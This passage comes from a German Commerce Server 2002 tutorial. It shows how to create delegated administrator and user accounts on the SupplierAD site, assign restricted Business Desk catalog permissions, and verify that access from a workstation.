    • Da Sie einen delegierten Benutzer für die Produktgruppe "Bürogeräte" erstellen möchten, haben Sie sich bei der SupplierAD-Site mithilfe des BGadmin-Kontos angemeldet. Bei diesem Konto handelt es sich um ein Mitglied der Organisation "Produktgruppe 'Bürogeräte'" und gleichzeitig um einen delegierten Administrator. Wenn ein delegierter Administrator neue Benutzerkonten erstellt, werden die neuen Benutzerkonten automatisch der Organisation hinzugefügt, zu der das Konto gehört, mit deren Hilfe sie erstellt wurden. In diesem Fall wird das Konto der Organisation "Produktgruppe 'Bürogeräte'" hinzugefügt.
  3. Klicken Sie auf Absenden.

    Hinweis Hinweis

    • Wenn Sie einen Bildlauf an das Ende der Seite durchführen, wird links im Fenster Partnerservice angezeigt. Dies gilt allerdings nur für Benutzer, bei denen es sich um delegierte Administratoren handelt.
  4. Klicken Sie im linken Bereich unterhalb von Partnerservice auf Benutzer.
  5. Klicken Sie im Bildschirm Benutzer auf Neu.
  6. Im Bildschirm Das Profil wird hinzugefügt muss im Bereich Kontoinformationen in der Dropdownliste Kontostatus die Option Aktiv ausgewählt sein.

    Hinweis Hinweis

    • Der Zugriff auf die Site ist nur über Konten möglich, die als Aktiv gekennzeichnet sind.
  7. Wählen Sie im Bildschirm Das Profil wird hinzugefügt im Bereich Partnerservice in der Dropdownliste Flags für die Partnerservicerolle die Option Delegierter Administrator aus.
  8. Führen Sie im Bildschirm Das Profil wird hinzugefügt im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Anmeldename | Geben Sie BettinaAdmin ein.
    Kennwort | Geben Sie Kennwort3 ein.
    E-Mail | Geben Sie BettinaAdmin@NorthwindTrader.com ein.
    Nachname | Geben Sie Admin ein.
    Vorname | Geben Sie Bettina ein.
  9. Klicken Sie im Bildschirm Das Profil wird hinzugefügt auf Speichern und anschließend auf Schließen.

    Der Bildschirm Benutzer wird angezeigt. Das Konto BettinaAdmin wird als delegiertes Administratorkonto eingerichtet und in der Spalte Anmeldename des Bildschirms Benutzer angezeigt.

  10. Schließen Sie das Browserfenster.

Fahren Sie mit Schritt 2: Erstellen eines Benutzers fort.


Schritt 2: Erstellen eines Benutzers

In diesem Schritt melden Sie sich bei Ihrer Site mit dem Benutzerkonto BettinaAdmin an, das Sie in Schritt 1: Erstellen eines delegierten Administrators erstellt haben. Anschließend erstellen Sie ein normales Benutzerkonto mit dem Benutzernamen NormBenutzer. Da das Konto BettinaAdmin zur Organisation "Produktgruppe 'Bürogeräte'" gehört, wird das Konto NormBenutzer ebenfalls zur Organisation "Produktgruppe 'Bürogeräte'" gehören.

  1. Wechseln Sie zu Ihrer SupplierAD-Website. Geben Sie in der Adresszeile von Internet Explorer http://<Computername>/SupplierAD ein. <Computername> ist dabei der Name des Computers, auf dem Commerce Server installiert ist.
  2. Führen Sie im Bildschirm Anmeldung der SupplierAD-Site folgende Schritte aus:
    Funktion | Aktion
    Benutzername Geben Sie <Domäne>\BettinaAdmin ein.

    <Domäne> ist dabei der Name Ihrer Windows-Domäne.
    Kennwort | Geben Sie Kennwort3 ein.
  3. Klicken Sie auf Absenden.

    Hinweis Hinweis

    • Wenn Sie einen Bildlauf an das Ende der Seite durchführen, wird links im Fenster Partnerservice angezeigt. Diese Option wird nur für delegierte Administratoren angezeigt.
  4. Klicken Sie im linken Bereich unterhalb von Partnerservice auf Benutzer.
  5. Klicken Sie im Bildschirm Benutzer auf Neu.
  6. Wählen Sie im Bildschirm Das Profil wird hinzugefügt im Bereich Kontoinformationen in der Dropdownliste Kontostatus die Option Aktiv aus.
  7. Wählen Sie im Bildschirm Das Profil wird hinzugefügt im Bereich Partnerservice in der Dropdownliste Flags für die Partnerservicerolle den Eintrag Benutzer aus.
  8. Führen Sie im Bildschirm Das Profil wird hinzugefügt im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Anmeldename | Geben Sie NormBenutzer ein.
    Kennwort | Geben Sie Kennwort4 ein.
    E-Mail | Geben Sie NormBenutzer@NorthwindTraders.com ein.
    Nachname | Geben Sie Benutzer ein.
    Vorname | Geben Sie Norm ein.
  9. Klicken Sie im Bildschirm Das Profil wird hinzugefügt auf Speichern und anschließend auf Schließen.

    Das Konto NormBenutzer wird als nichtadministratives Benutzerkonto gespeichert und zur Organisation "Produktgruppe 'Bürogeräte'" hinzugefügt.

  10. Schließen Sie das Browserfenster.

Fahren Sie mit Schritt 3: Sicherstellen, dass es sich bei einem Benutzer nicht um einen delegierten Administrator handelt, fort.


Schritt 3: Sicherstellen, dass es sich bei einem Benutzer nicht um einen delegierten Administrator handelt

  1. Wechseln Sie zur SupplierAD-Site. Geben Sie dazu in der Adresszeile von Internet Explorer http://<Computername>/SupplierAD ein.
  2. Führen Sie im Bildschirm Anmeldung der SupplierAD-Site folgende Schritte aus:
    Funktion | Aktion
    Benutzername Geben Sie <Domäne>\NormBenutzer ein.

    <Domäne> ist dabei der Name Ihrer Windows-Domäne.
    Kennwort | Geben Sie Kennwort4 ein.
  3. Klicken Sie auf Absenden.

    Beachten Sie, dass links im Fenster nicht mehr Partnerservice angezeigt wird. Die Option Partnerservice ist nur für delegierte Administratoren sichtbar. Bei dem in "Schritt 2: Erstellen eines Benutzers" erstellten Konto NormBenutzer handelt es sich aber um einen normalen Benutzer.

  4. Schließen Sie Internet Explorer.

Sie haben nun sichergestellt, dass es sich bei dem Windows-Konto NormBenutzer nicht um einen delegierten Administrator handelt. Fahren Sie mit Lektion 4: Anzeigen von Benutzerkonten mithilfe von Business Desk fort.


Lektion 4: Anzeigen von Benutzerkonten mithilfe von BusinessDesk

Feedback zu dieser Seite senden Commerce Server 2002

Lektion 4: Anzeigen von Benutzerkonten mithilfe von Business Desk

In dieser Lektion werden Sie zunächst mithilfe von Business Desk die Liste Gefilterte Ansicht der mit dem Business Desk-Modul "Benutzer" erstellten Benutzerkonten anzeigen. In den Lektionen 2 und 3 dieses Kurses zeigen Sie dann die SupplierAD-Site an. Anschließend zeigen Sie Details der Konten BAadmin (Konto eines delegierten Administrators) und NormBenutzer (normales Benutzerkonto) an.

  • Schritt 1: Anzeigen der Benutzerliste
  • Schritt 2: Anzeigen des Kontos "BAadmin"
  • Schritt 3: Anzeigen des Kontos "NormBenutzer"


Schritt 1: Anzeigen der Benutzerliste

  1. Klicken Sie auf Profile und dann auf Benutzer.
  2. Führen Sie im Bildschirm Benutzer folgende Schritte aus:
    Funktion | Aktion
    Suchen nach | In der Dropdownliste muss die Option Anmeldename ausgewählt sein.
    Anmeldename Geben Sie * ein.

    Hinweis Hinweis

    • Wenn Sie das Platzhalterzeichen * (Sternchen) eingeben, werden alle Benutzerkonten in Business Desk aufgelistet.
  3. Klicken Sie auf Suchen.

    In der Liste Gefilterte Ansicht werden alle Windows-Benutzerkonten angezeigt, die mithilfe des Business Desk-Teilmoduls "Benutzer" und der SupplierAD-Site erstellt wurden. In der Liste Gefilterte Ansicht des Bildschirms Benutzer werden die in Lektion 2: Erstellen von Benutzerkonten mithilfe von Business Desk erstellten Benutzer BGadmin und BAadmin sowie die in Lektion 3: Erstellen von Benutzerkonten über die SupplierAD-Site erstellten Benutzerkonten BettinaAdmin und NormBenutzer angezeigt.

    Wichtig

    • Bei diesen Windows-Benutzerkonten darf es sich nicht um Mitglieder der Administrator-Gruppe auf dem Commerce Server-Computer handeln. Dies ist in diesem Beispiel auch nicht der Fall.

Fahren Sie mit Schritt 2: Anzeigen des Kontos "BAadmin" fort.


Schritt 2: Anzeigen des Kontos "BAadmin"

  1. Wählen Sie im Bildschirm Benutzer in der Liste Gefilterte Ansicht die Option BAadmin aus, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.

    Der Bildschirm Profil aktualisieren: 'BAadmin' wird angezeigt. Beachten Sie, dass die Felder Anmeldename, Benutzerkennwort und Geändert von im Bereich Allgemeine Informationen nicht verfügbar sind.

    Hinweis

    • Das Textfeld Benutzerkennwort ist zwar deaktiviert, das Kennwort kann aber dennoch in diesem Bildschirm geändert werden. Klicken Sie zum Ändern des Kennworts rechts neben dem Textfeld Benutzerkennwort auf Auslassungsschaltfläche. Im Dialogfeld Kennwort zurücksetzen können Sie das Kennwort für dieses Konto zurücksetzen. Im Rahmen des vorliegenden Lernprogramms sollten Sie das Benutzerkennwort nicht ändern.
  2. Erweitern Sie den Bereich Kontoinformationen.

    Das Textfeld Organisations-ID ist nicht verfügbar. Die Felder Kontostatus, Benutzerkatalogsatz und Registriert am hingegen sind verfügbar.

  3. Erweitern Sie den Bereich Partnerservice.

    In der Dropdownliste Flags für die Partnerservicerolle ist die Option Administrator ausgewählt. Sie können die Partnerservicerolle auch von Administrator in Normaler Benutzer ändern, womit Sie jedoch die Rechte für dieses Benutzerkonto einschränken. Lassen Sie das Benutzerprofil im Rahmen dieses Lernprogramms unverändert.

  4. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Benutzer zurückzukehren.

Fahren Sie mit Schritt 3: Anzeigen des Kontos "NormBenutzer" fort.


Schritt 3: Anzeigen des Kontos "NormBenutzer"

Sie haben das Konto NormBenutzer über die SupplierAD-Site mithilfe von Internet Explorer erstellt.

  1. Wählen Sie im Bildschirm Benutzer in der Liste Gefilterte Ansicht die Option NormBenutzer aus, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.

    Die Felder Anmeldename, Benutzerkennwort und Geändert von im Bereich Allgemeine Informationen des Bildschirms Profil aktualisieren: 'NormBenutzer' sind nicht verfügbar.

  2. Erweitern Sie den Bereich Kontoinformationen.

    Das Textfeld Organisations-ID ist nicht verfügbar. Die Felder Kontostatus, Benutzerkatalogsatz und Registriert am hingegen sind verfügbar. Wenn Sie ein Konto für einen gewissen Zeitraum deaktivieren möchten, ohne das Konto zu löschen, können Sie den Kontostatus von Aktives Konto in Inaktives Konto ändern. Lassen Sie den Status des Benutzerprofils im Rahmen dieses Lernprogramms unverändert.

  3. Erweitern Sie den Bereich Partner Desk.

    In der Dropdownliste Flags für die Partnerservicerolle ist die Option Normaler Benutzer ausgewählt. Sie können die Partnerservicerolle auch von Normaler Benutzer in Administrator ändern, womit Sie die Rechte für dieses Benutzerkonto erweitern. Nehmen Sie an diesem Benutzerprofil keine Änderungen vor.

  4. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Benutzer zurückzukehren.

Sie haben nun mithilfe von Business Desk ein Administrator- und ein normales Benutzerkonto angezeigt. Fahren Sie mit Lektion 5: Hinzufügen von Benutzerkonten zur Business Desk-Liste "Sicherheitsrechte" fort.


Lektion 5: Hinzufügen von Benutzerkonten zur BusinessDesk-Liste "Sicherheitsrechte"

Feedback zu dieser Seite senden Commerce Server 2002

Lektion 5: Hinzufügen von Benutzerkonten zur Business Desk-Liste "Sicherheitsrechte"

Szenario: Sie möchten vertrauenswürdigen Mitgliedern der Produktgruppen "Büroartikel" und "Bürogeräte" den beschränkten Zugriff auf Business Desk-Module ermöglichen, damit diese ihre Kataloge in der Site aktualisieren können. Standardmäßig haben nur Mitglieder der lokalen Administratorgruppe des Commerce Server-Computers Zugriff auf Business Desk. Andererseits soll verhindert werden, dass die Business Desk-Manager der Produktgruppen uneingeschränkt auf Ihren Commerce Server-Computer zugreifen können. Aus diesem Grund fügen Sie die Benutzerkonten der Produktgruppenadministratoren nicht der Administratorgruppe des Commerce Server-Computers hinzu, sondern legen fest, dass die delegierten Administratoren beschränkten Zugriff auf Business Desk erhalten sollen.

Das Zuweisen von Zugriffsrechten für Business Desk-Module und -Tasks zu Benutzern erfolgt in zwei Schritten. Zunächst fügen Sie der Business Desk-Liste Sicherheitsrechte Benutzerkonten hinzu. Anschließend gewähren Sie diesen Benutzerkonten Zugriff auf Module, Kataloge sowie Tasks. In dieser Lektion fügen Sie der Business Desk-Liste Sicherheitsrechte die Benutzerkonten BGadmin und BAadmin hinzu. Später, in Lektion 6: Erteilen beschränkter Zugriffsrechte für Administratoren auf Business Desk, richten Sie diesen Benutzerkonten die Zugriffsrechte nur für Business Desk-Module, Kataloge sowie Tasks innerhalb der Module ein, auf die Sie ihnen Zugriff gewähren möchten.

Im Folgenden sind die Schritte dieser Lektion aufgelistet. Die Schritte bauen jeweils aufeinander auf, Es ist wichtig, die Schritte in der vorgegebenen Reihenfolge auszuführen:

  • Schritt 1: Hinzufügen des Kontos "BGadmin" zur Business Desk-Liste "Sicherheitsrechte"
  • Schritt 2: Hinzufügen des Kontos "BAadmin" zur Business Desk-Liste "Sicherheitsrechte"


Schritt 1: Hinzufügen des Kontos "BGadmin" zur BusinessDesk-Liste "Sicherheitsrechte"

Feedback zu dieser Seite senden Commerce Server 2002

Schritt 1: Hinzufügen des Kontos "BGadmin" zur Business Desk-Liste "Sicherheitsrechte"

  1. Erweitern Sie in Business Desk das Modul "Sicherheit", und klicken Sie dann auf Berechtigungen.
  2. Klicken Sie im Bildschirm Sicherheitsrechte auf Zur Liste hinzufügen.
  3. Geben Sie im Textfeld Konto des Dialogfelds Konto hinzufügen den Wert <Domäne>\BGadmin ein, wobei <Domäne> der Name Ihrer Active Directory-Domäne ist.
  4. Klicken Sie auf Hinzufügen.

Sie haben nun das Konto BGadmin zur Business Desk-Liste Sicherheitsrechte hinzugefügt. Fahren Sie mit Schritt 2: Hinzufügen des Kontos "BAadmin" zur Business Desk-Liste "Sicherheitsrechte" fort.


Schritt 2: Hinzufügen des Kontos "BAadmin" zur BusinessDesk-Liste "Sicherheitsrechte"

Feedback zu dieser Seite senden Commerce Server 2002

Schritt 2: Hinzufügen des Kontos "BAadmin" zur Business Desk-Liste "Sicherheitsrechte"

  1. Klicken Sie im Bildschirm Sicherheitsrechte auf Zur Liste hinzufügen.
  2. Geben Sie im Textfeld Konto des Dialogfelds Konto hinzufügen den Wert <Domäne>\BAadmin ein, wobei <Domäne> der Name Ihrer Active Directory-Domäne ist.
  3. Klicken Sie auf Hinzufügen.
  4. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Commerce Server: Willkommen bei Business Desk zurückzukehren.

Sie haben nun die Konten BGadmin und BAadmin zur Business Desk-Liste Sicherheitsrechte hinzugefügt. An diesem Punkt haben Sie jedoch noch keine Zugriffsrechte für Business Desk-Module zugewiesen. Fahren Sie mit Lektion 6: Erteilen beschränkter Zugriffsrechte für Administratoren auf Business Desk fort, in der Sie diesen Benutzerkonten beschränkte Zugriffsrechte für Business Desk-Module, -Kataloge und -Tasks gewähren werden.


Lektion 6: Erteilen beschränkter Zugriffsrechte für Administratoren auf BusinessDesk

Feedback zu dieser Seite senden Commerce Server 2002

Lektion 6: Erteilen beschränkter Zugriffsrechte für Administratoren auf Business Desk

In dieser Lektion gewähren Sie vertrauenswürdigen Mitgliedern der Produktgruppen "Bürogeräte" und "Büroartikel" den beschränkten Zugriff auf Business Desk-Module, -Kataloge und -Tasks.

Im Folgenden sind die Schritte dieser Lektion aufgelistet. Die Schritte bauen jeweils aufeinander auf, Es ist wichtig, die Schritte in der vorgegebenen Reihenfolge auszuführen:

  • Schritt 1: Erteilen beschränkter Zugriffsrechte für das Konto "BGadmin"
  • Schritt 2: Erteilen beschränkter Zugriffsrechte für das Konto "BAadmin"


Schritt 1: Erteilen beschränkter Zugriffsrechte für das Konto "BGadmin"

  1. Klicken Sie auf Sicherheit und anschließend auf Berechtigungen.
  2. Wählen Sie im Bildschirm Sicherheitsrechte in der Dropdownliste Windows-Konto die Option <Domäne>\BGadmin aus.
  3. Erweitern Sie im Bereich Sicherungsfähige Entitäten den Eintrag Kataloge.
  4. Wählen Sie in der Zeile Kataloge die Option Zulassen aus, und klicken Sie dann auf Details.
  5. Führen Sie im Bildschirm Berechtigungsdetail: Kataloge im Bereich Berechtigungen: bearbeiten die folgenden Schritte aus:
    Funktion | Aktion
    Büroartikel | Aktivieren Sie das Kontrollkästchen Verweigern.
    Bürogeräte | Aktivieren Sie das Kontrollkästchen Zulassen.
    Virtueller Katalog | Aktivieren Sie das Kontrollkästchen Verweigern.
  6. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Sicherheitsrechte zurückzukehren.
  7. Aktivieren Sie im Bildschirm Sicherheitsrechte im Bereich Sicherungsfähige Entitäten in der Zeile Katalogeigenschaften das Kontrollkästchen Zulassen.
  8. Erweitern Sie den Bereich Zugriff auf Business Desk-Kategorien/-Module und -Tasks, und blättern Sie auf der Seite zum Bereich Kataloge. Aktivieren Sie in der Zeile Katalog-Editor das Kontrollkästchen Zulassen.

    Das Kontrollkästchen Zulassen ist sowohl für die Zeile Kataloge als auch für die Zeile Katalog-Editor aktiviert, wodurch diesem Windows-Benutzerkonto nur der Zugriff auf das Business Desk-Modul "Katalog-Editor" gewährt wird.

  9. Klicken Sie im Bereich Zugriff auf Business Desk-Kategorien/-Module und -Tasks in der Zeile Kataloge auf Aufgabenberechtigungen.
  10. Nehmen Sie im Bildschirm Berechtigungsdetail: Kataloge einen Bildlauf nach unten vor, bis alle Katalog-Editor-Tasks angezeigt werden, und führen Sie folgende Schritte aus:
    Funktion Aktion
    Neu Aktivieren Sie das Kontrollkästchen Verweigern.

    Mit dieser Einstellung verweigern Sie dem Benutzer das Recht, Kataloge neu zu erstellen.
    Katalog öffnen Aktivieren Sie das Kontrollkästchen Zulassen.

    Damit gewähren Sie diesem Benutzer das Recht, die Kataloge zu öffnen, auf die er Zugriff hat.
    Eigenschaften bearbeiten Aktivieren Sie das Kontrollkästchen Verweigern.

    Mit dieser Einstellung verweigern Sie dem Benutzer das Recht, Eigenschaftsdefinitionen zu bearbeiten.
    Importieren Aktivieren Sie das Kontrollkästchen Verweigern.

    Mit dieser Einstellung verweigern Sie dem Benutzer das Recht, Kataloge in die Site zu importieren.
    Exportieren Aktivieren Sie das Kontrollkästchen Zulassen.

    Damit gewähren Sie dem Benutzer das Recht, Kataloge, auf die er Zugriff hat, aus dieser Site zu exportieren.
    Löschen Aktivieren Sie das Kontrollkästchen Verweigern.

    Mit dieser Einstellung verweigern Sie dem Benutzer das Recht, Kataloge zu löschen.
    Senden Aktivieren Sie das Kontrollkästchen Zulassen.

    Damit gewähren Sie diesem Benutzer das Recht, Daten an einen BizTalk-Server zu senden. Dieses Feature wird im Rahmen dieses Lernprogramms jedoch nicht verwendet.
    Neu erstellen Aktivieren Sie das Kontrollkästchen Zulassen.

    Damit gewähren Sie diesem Benutzer das Recht, Kataloge neu zu erstellen.

    Wichtig

    • Zugriff auf den Task Neu erstellen sollten Sie grundsätzlich nur delegierten Administratoren gewähren, die vertrauenswürdig genug sind, beliebige Kataloge neu zu erstellen. Benutzer mit Zugriff auf diesen Task können grundsätzlich alle Kataloge in Ihrer Site neu erstellen.
    Aktualisieren Aktivieren Sie das Kontrollkästchen Zulassen.

    Damit gewähren Sie diesem Benutzer das Recht, Änderungen an den Katalogen, auf die er Zugriff hat, zu aktualisieren (zu veröffentlichen).

    Sie haben nun Berechtigungen zum Öffnen des Katalogs, auf den dieser Benutzer Zugriff hat, sowie zum Ausführen der oben aktivierten Tasks gewährt.

  11. Klicken Sie auf Zurück, um zum Bildschirm Sicherheitsrechte zurückzukehren.

Fahren Sie mit Schritt 2: Erteilen beschränkter Zugriffsrechte für das Konto "BAadmin" fort.


Schritt 2: Erteilen beschränkter Zugriffsrechte für das Konto "BAadmin"

  1. Wählen Sie im Bildschirm Sicherheitsrechte in der Dropdownliste Windows-Konto die Option <Domäne>\BAadmin aus.
  2. Erweitern Sie im Bereich Sicherungsfähige Entitäten den Eintrag Kataloge.
  3. Wählen Sie in der Zeile Kataloge die Option Zulassen aus, und klicken Sie dann auf Details.
  4. Führen Sie im Bildschirm Berechtigungsdetail: Kataloge im Bereich Berechtigungen: bearbeiten die folgenden Schritte aus:
    Funktion | Aktion
    Büroartikel | Aktivieren Sie das Kontrollkästchen Zulassen.
    Bürogeräte | Aktivieren Sie das Kontrollkästchen Verweigern.
    Virtueller Katalog | Aktivieren Sie das Kontrollkästchen Verweigern.
  5. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Sicherheitsrechte zurückzukehren.
  6. Aktivieren Sie im Bereich Sicherungsfähige Entitäten in der Zeile Katalogeigenschaften das Kontrollkästchen Zulassen.
  7. Aktivieren Sie im Bereich Zugriff auf Business Desk-Kategorien/-Module und -Tasks in der Zeile Katalog-Editor das Kontrollkästchen Zulassen.

    Das Kontrollkästchen Zulassen ist sowohl für die Zeile Kataloge als auch für die Zeile Katalog-Editor aktiviert, wodurch diesem Windows-Benutzerkonto der Zugriff auf das Business Desk-Modul "Katalog-Editor" gewährt wird.

  8. Klicken Sie im Bereich Zugriff auf Business Desk-Kategorien/-Module und -Tasks in der Zeile Kataloge auf Aufgabenberechtigungen.
  9. Nehmen Sie im Bildschirm Berechtigungsdetail: Kataloge einen Bildlauf nach unten vor, bis alle Katalog-Editor-Tasks angezeigt werden, und führen Sie folgende Schritte aus:
    Funktion Aktion
    Neu Aktivieren Sie das Kontrollkästchen Verweigern.

    Mit dieser Einstellung verweigern Sie dem Benutzer das Recht, Kataloge neu zu erstellen.
    Katalog öffnen Aktivieren Sie das Kontrollkästchen Zulassen.

    Damit gewähren Sie diesem Benutzer das Recht, die Kataloge zu öffnen, auf die er Zugriff hat.
    Eigenschaften bearbeiten Aktivieren Sie das Kontrollkästchen Verweigern.

    Mit dieser Einstellung verweigern Sie dem Benutzer das Recht, Eigenschaftsdefinitionen zu bearbeiten.
    Importieren Aktivieren Sie das Kontrollkästchen Verweigern.

    Mit dieser Einstellung verweigern Sie dem Benutzer das Recht, Kataloge in die Site zu importieren.
    Exportieren Aktivieren Sie das Kontrollkästchen Zulassen.

    Damit gewähren Sie dem Benutzer das Recht, Kataloge, auf die er Zugriff hat, aus dieser Site zu exportieren.
    Löschen Aktivieren Sie das Kontrollkästchen Verweigern.

    Mit dieser Einstellung verweigern Sie dem Benutzer das Recht, Kataloge zu löschen.
    Senden Aktivieren Sie das Kontrollkästchen Zulassen.

    Damit gewähren Sie diesem Benutzer das Recht, Daten an einen BizTalk-Server zu senden. Dieses Feature wird im Rahmen dieses Lernprogramms jedoch nicht verwendet.
    Neu erstellen Aktivieren Sie das Kontrollkästchen Zulassen.

    Damit gewähren Sie diesem Benutzer das Recht, Kataloge neu zu erstellen.

    Wichtig

    • Zugriff auf den Task Neu erstellen sollten Sie grundsätzlich nur delegierten Administratoren gewähren, die vertrauenswürdig genug sind, beliebige Kataloge neu zu erstellen. Benutzer mit Zugriff auf diesen Task können grundsätzlich alle Kataloge in Ihrer Site neu erstellen.
    Aktualisieren Aktivieren Sie das Kontrollkästchen Zulassen.

    Damit gewähren Sie diesem Benutzer das Recht, Änderungen an den Katalogen, auf die er Zugriff hat, zu aktualisieren (zu veröffentlichen).

    Sie haben nun Berechtigungen zum Öffnen des Katalogs, auf den dieser Benutzer Zugriff hat, sowie zum Ausführen der oben aktivierten Tasks gewährt.

  10. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Sicherheitsrechte zurückzukehren.
  11. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Konfiguration zu speichern und zum Bildschirm Commerce Server: Willkommen bei Business Desk zurückzukehren.

Fahren Sie mit Lektion 7: Überprüfen der Zugriffsrechte für Business Desk fort.


Lektion 7: Überprüfen der Zugriffsrechte für Business Desk

In der Praxis würden die Business Desk-Manager der Produktgruppen "Büroartikel" und "Bürogeräte" über ihre eigenen Computer auf Business Desk zugreifen. Um diese Konstellation nachzustellen, wählen Sie für den Zugriff auf Business Desk einen Workstationcomputer mit Internet Explorer, der nicht mit dem Domänencontroller und dem Commerce Server-Computer, auf dem Sie bislang gearbeitet haben, verbunden ist.

Wichtig

  • Es empfiehlt sich grundsätzlich nicht, den Business Desk-Zugriff der Business Desk-Manager über das Internet zuzulassen. Stattdessen sollte der Zugriff über das Intranet des Unternehmens erfolgen.

Im Folgenden sind die Schritte dieser Lektion aufgelistet. Die Schritte bauen jeweils aufeinander auf, Es ist wichtig, die Schritte in der vorgegebenen Reihenfolge auszuführen:

  • Schritt 1: Überprüfen der Zugriffsrechte für das Konto "BGadmin"
  • Schritt 2: Überprüfen der Zugriffsrechte für das Konto "BAadmin"


Schritt 1: Überprüfen der Zugriffsrechte für das Konto "BGadmin"

  1. Melden Sie sich bei Ihrem Workstationcomputer an.

    Hinweise Hinweise

    • Wenn Ihr Workstationcomputer Windows NT4, Windows 2000 oder Windows XP ausführt, müssen Sie sich bei Ihrer Workstation mit dem Windows-Konto eines Benutzers anmelden, der Mitglied der Administratorgruppe auf Ihrem Workstationcomputer ist. Bei Computern, die Windows 9X ausführen, ist dies nicht erforderlich. Das Anmeldekonto darf kein Mitglied der Administratorgruppe des Commerce Server-Computers oder Ihres Domänencontrollers sein.
    • Der Workstationcomputer muss weder Mitglied derselben Domäne wie Commerce Server sein noch für Delegierungszwecke als vertrauenswürdig gelten.
    • Das von Ihnen für die Anmeldung bei Ihrem Workstationcomputer verwendete Windows-Konto muss nicht derselben Domäne wie der Commerce Server-Computer angehören.
  2. Öffnen Sie auf Ihrem Workstationcomputer Internet Explorer, und stellen Sie sicher, dass die Sicherheitseinstellungen genau wie im Thema Business Desk kann nicht installiert werden beschrieben konfiguriert sind.

    Hinweis Hinweis

    • Die Sicherheitseinstellungen müssen für jedes Benutzerprofil separat konfiguriert werden.
  3. Geben Sie im Textfeld Adresse in Internet Explorer die Adresse http://<Computername>supplieradbizdesk ein, und drücken Sie dann die Eingabetaste. <Computername> ist dabei der Name bzw. die IP-Adresse Ihres Commerce Server-Computers.

    Hinweis Hinweis

    • Wenn die Fehlermeldung Die Seite kann nicht angezeigt werden erscheint, geben Sie versuchsweise anstelle des Computernamens die IP-Adresse des Commerce Server-Computers ein. Eine mögliche Ursache für diesen Fehler kann darin bestehen, dass sich der Computername nicht auf seine IP-Adresse zurückführen lässt. Dazu kann es kommen, wenn sich der Workstationcomputer nicht in derselben Domäne wie der Business Desk-Computer befindet.

    Das Dialogfeld Verbindung mit <Computername> herstellen wird angezeigt.

  4. Führen Sie im Dialogfeld Verbindung mit <Computername> herstellen folgende Schritte aus:
    Funktion | Aktion
    Benutzername Geben Sie <Domäne>BGadmin ein.

    <Domäne> ist dabei der Name Ihrer Windows-Domäne.
    Kennwort | Geben Sie Kennwort ein.
  5. Klicken Sie auf OK.

    Wenn die Benutzer zum ersten Mal auf Business Desk zugreifen, wird das Dialogfeld Nach Ordner suchen angezeigt. Dieser Ordner enthält die HTA-Datei, die beim ersten Aufrufen von Business Desk erstellt wird. Auf dem Desktop wird auch eine Verknüpfung zu dieser Datei angezeigt.

  6. Wählen Sie im Dialogfeld Nach Ordner suchen den Ordner, in dem die HTA-Datei gespeichert werden soll, und klicken Sie anschließend auf OK.
  7. Klicken Sie in Internet Explorer im Fenster Status auf Business Desk starten.

    Daraufhin wird die Meldung Wird geladen, bitte warten und anschließend der Bildschirm Commerce Server: Willkommen bei Business Desk angezeigt. In Business Desk wird nur das Modul "Kataloge" angezeigt. Der Grund dafür ist, dass Sie dem Benutzer BGadmin in Lektion 6: Erteilen beschränkter Zugriffsrechte für Administratoren auf Business Desk nur Zugriff auf das Modul "Kataloge" und das Untermodul "Katalog-Editor" gewährt haben.

  8. Erweitern Sie das Modul "Kataloge", und klicken Sie dann auf Katalog-Editor.

    Der Bildschirm Kataloge wird angezeigt. Der Task Neu wird nicht auf der Symbolleiste angezeigt. Der Grund dafür ist, dass Sie in Schritt 1: Erteilen beschränkter Zugriffsrechte für das Konto "BGadmin" die Berechtigung zum Erstellen neuer Kataloge verweigert haben.

  9. Wählen Sie im Bildschirm Kataloge in der Spalte Name die Option Büroartikel aus der Liste aus.

    Die Option Katalog öffnen ist in der Symbolleiste nicht verfügbar. Der Grund dafür ist, dass Sie dem Konto BGadmin nur beschränkte Zugriffsrechte auf den Katalog Büroartikel gewährt haben.

  10. Klicken Sie auf Auswahl aufheben, um die Auswahl des Katalogs Büroartikel aufzuheben.
  11. Wählen Sie im Bildschirm Kataloge in der Spalte Name die Option Virtueller Katalog aus der Liste aus.

    Die Option Katalog öffnen ist in der Symbolleiste nicht verfügbar. Der Grund dafür ist, dass Sie dem Konto BGadmin nur beschränkte Zugriffsrechte auf den virtuellen Katalog gewährt haben.

  12. Klicken Sie auf Auswahl aufheben, um die Auswahl des virtuellen Katalogs aufzuheben.
  13. Wählen Sie im Bildschirm Kataloge in der Spalte Name die Option Bürogeräte aus der Liste aus.

    Auf der Symbolleiste sind alle Tasks einschließlich des Tasks Katalog öffnen verfügbar.

  14. Klicken Sie auf Katalog öffnen, um den Katalog Bürogeräte zu öffnen.
  15. Klicken Sie im Bildschirm Kataloginhalt – Bürogeräte (Deutsch (Deutschland)) im Bereich Produkte auf Suchen.

    Die in Kurs 3 erstellten Stift- und Bleistiftprodukte werden im Listenfeld Produkte angezeigt.

  16. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kataloge zurückzukehren.
  17. Schließen Sie Business Desk und anschließend den Browser.

Sie haben nun sichergestellt, dass das Windows-Konto BGadmin lediglich Zugriff auf den Basiskatalog Bürogeräte hat. Fahren Sie mit Schritt 2: Überprüfen der Zugriffsrechte für das Konto "BAadmin" fort.


Schritt 2: Überprüfen der Zugriffsrechte für das Konto "BAadmin"

  1. Öffnen Sie auf demselben Workstationcomputer die Anwendung Internet Explorer.
  2. Geben Sie im Textfeld Adresse in Internet Explorer die Adresse http://<Computername>supplieradbizdesk ein, und drücken Sie dann die Eingabetaste. <Computername> ist dabei der Name bzw. die IP-Adresse Ihres Commerce Server-Computers.

    Hinweis Hinweis

    • Wenn die Fehlermeldung Die Seite kann nicht angezeigt werden erscheint, geben Sie anstelle des Computernamens die IP-Adresse des Computers ein.
  3. Führen Sie im Dialogfeld Verbindung mit <Computername> herstellen folgende Schritte aus:
    Funktion | Aktion
